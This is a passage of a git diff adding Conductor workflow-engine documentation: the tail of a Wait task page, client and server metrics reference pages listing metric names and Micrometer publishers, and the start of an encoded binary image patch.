'http://localhost:8080/api/tasks/{workflowId}/signal_ref/COMPLETED/sync' \ + -H 'Content-Type: application/json' \ + -d '{"approvedBy": "admin"}' +``` + +## Overriding the Wait task + +The Task Update API (`POST api/tasks`) can be used to set the status of the Wait task to COMPLETED prior to the configured wait duration or timestamp. + +If the workflow does not require a specific wait duration or timestamp, it is recommended to directly use the [Human](human-task.md) task instead, which waits for an external trigger. \ No newline at end of file diff --git a/docs/documentation/metrics/client.md b/docs/documentation/metrics/client.md new file mode 100644 index 0000000..c63f113 --- /dev/null +++ b/docs/documentation/metrics/client.md @@ -0,0 +1,26 @@ +--- +description: "Client Metrics — monitor Conductor Java client performance with built-in metrics for task polling and execution." +--- +# Client Metrics + +When using the Java client, the following metrics are published: + +| Name | Purpose | Tags | +| ------------- |:-------------| -----| +| task_execution_queue_full | Counter to record execution queue has saturated | taskType| +| task_poll_error | Client error when polling for a task queue | taskType, includeRetries, status | +| task_paused | Counter for number of times the task has been polled, when the worker has been paused | taskType | +| task_execute_error | Execution error | taskType| +| task_ack_failed | Task ack failed | taskType | +| task_ack_error | Task ack has encountered an exception | taskType | +| task_update_error | Task status cannot be updated back to server | taskType | +| task_poll_counter | Incremented each time polling is done | taskType | +| task_poll_time | Time to poll for a batch of tasks | taskType | +| task_execute_time | Time to execute a task | taskType | +| task_result_size | Records output payload size of a task | taskType | +| workflow_input_size | Records input payload size of a workflow | workflowType, workflowVersion | +| external_payload_used | Incremented each time external payload storage is used | name, operation, payloadType | + +Metrics on client side supplements the one collected from server in identifying the network as well as client side issues. + +[1]: https://github.com/Netflix/spectator diff --git a/docs/documentation/metrics/server.md b/docs/documentation/metrics/server.md new file mode 100644 index 0000000..1d13853 --- /dev/null +++ b/docs/documentation/metrics/server.md @@ -0,0 +1,57 @@ +--- +description: "Server Metrics — monitor Conductor server health and performance using Micrometer-based metrics and alerting." +--- +# Server Metrics + +!!! Info "Feature Update" + Since [v3.21.16](https://github.com/conductor-oss/conductor/releases/tag/v3.21.16), Conductor has switched to [Micrometer](https://micrometer.io/) for metrics collection. + + +Conductor uses [Micrometer](https://micrometer.io/) for metrics collection and export. + +The following metrics are published by the Conductor server. You can export these metrics to set up alerts for your workflows and tasks. + +| Metric Name | Description | Tags | +| ------------- |:----------------- | ----- | +| workflow_server_error | The rate at which server-side errors are occurring. | methodName| +| workflow_failure | The number of failed workflows. |workflowName, status| +| workflow_start_error | The number of workflows that fail to start. |workflowName| +| workflow_running | The number of running workflows. | workflowName, version| +| workflow_execution | The time taken for workflow completion. | workflowName, ownerApp | +| task_queue_wait | The amount of time spent by a task in queue. | taskType | +| task_execution | The time taken to execute a task. | taskType, includeRetries, status | +| task_poll | The time taken to poll for a task. | taskType| +| task_poll_count | The number of times the task is being polled. | taskType, domain | +| task_queue_depth | The queue depth for pending tasks. | taskType, ownerApp | +| task_rate_limited | The current number of tasks that are being rate limited. | taskType | +| task_concurrent_execution_limited | The current number of tasks that are being limited by its concurrent execution limit. | taskType | +| task_timeout | The number of timed-out tasks. | taskType | +| task_response_timeout | The number of tasks that timed out due to `responseTimeout`. | taskType | +| task_update_conflict | The number of task update conflicts.

    For example, a worker updates the task status even though the workflow is already in a terminal state. | workflowName, taskType, taskStatus, workflowStatus | +| event_queue_messages_processed | The number of messages fetched from an event queue. | queueType, queueName | +| observable_queue_error | The number of errors encountered when fetching messages from an event queue. | queueType | +| event_queue_messages_handled | The number of messages executed from an event queue. | queueType, queueName | +| external_payload_storage_usage | The number of times an external payload storage was used. | name, operation, payloadType | + + +## Supported monitoring systems + +Conductor supports the following Micrometer publishers: + +- [Atlas](https://docs.micrometer.io/micrometer/reference/implementations/atlas.html) +- [Prometheus](https://docs.micrometer.io/micrometer/reference/implementations/prometheus.html) +- [Datadog](https://docs.micrometer.io/micrometer/reference/implementations/datadog.html) +- [JMX](https://docs.micrometer.io/micrometer/reference/implementations/jmx.html) +- [OpenTelemetry Protocol (OTPL)](https://docs.micrometer.io/micrometer/reference/implementations/otlp.html) +- [Dynatrace](https://docs.micrometer.io/micrometer/reference/implementations/dynatrace.html) +- [Elasticsearch](https://docs.micrometer.io/micrometer/reference/implementations/elastic.html) +- [New Relic](https://docs.micrometer.io/micrometer/reference/implementations/new-relic.html) +- [StackDriver](https://docs.micrometer.io/micrometer/reference/implementations/stackdriver.html) +- [StatsD](https://docs.micrometer.io/micrometer/reference/implementations/statsD.html) +- [CloudWatch](https://docs.micrometer.io/micrometer/reference/implementations/cloudwatch.html) +- [Azure Monitor](https://docs.micrometer.io/micrometer/reference/implementations/azure-monitor.html) +- [Influx](https://docs.micrometer.io/micrometer/reference/implementations/influx.html) + +### Enabling metrics collection + +To enable metrics collection to a particular monitoring system, refer to the [Micrometer documentation](https://docs.micrometer.io/micrometer/reference/implementations.html) complete the implementation. You will also need to enable the particular monitoring system in the Conductor's [`application.properties` file](https://github.com/conductor-oss/conductor/blob/6147d61d1babf47f5a0a328d114f1eb5d3d5ecb1/server/src/main/resources/application.properties#L163). diff --git a/docs/home/devex.png b/docs/home/devex.png new file mode 100644 index 0000000000000000000000000000000000000000..ca9bc1d8f5a546af47db4549c36947ecd73f789f GIT binary patch literal 88523 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 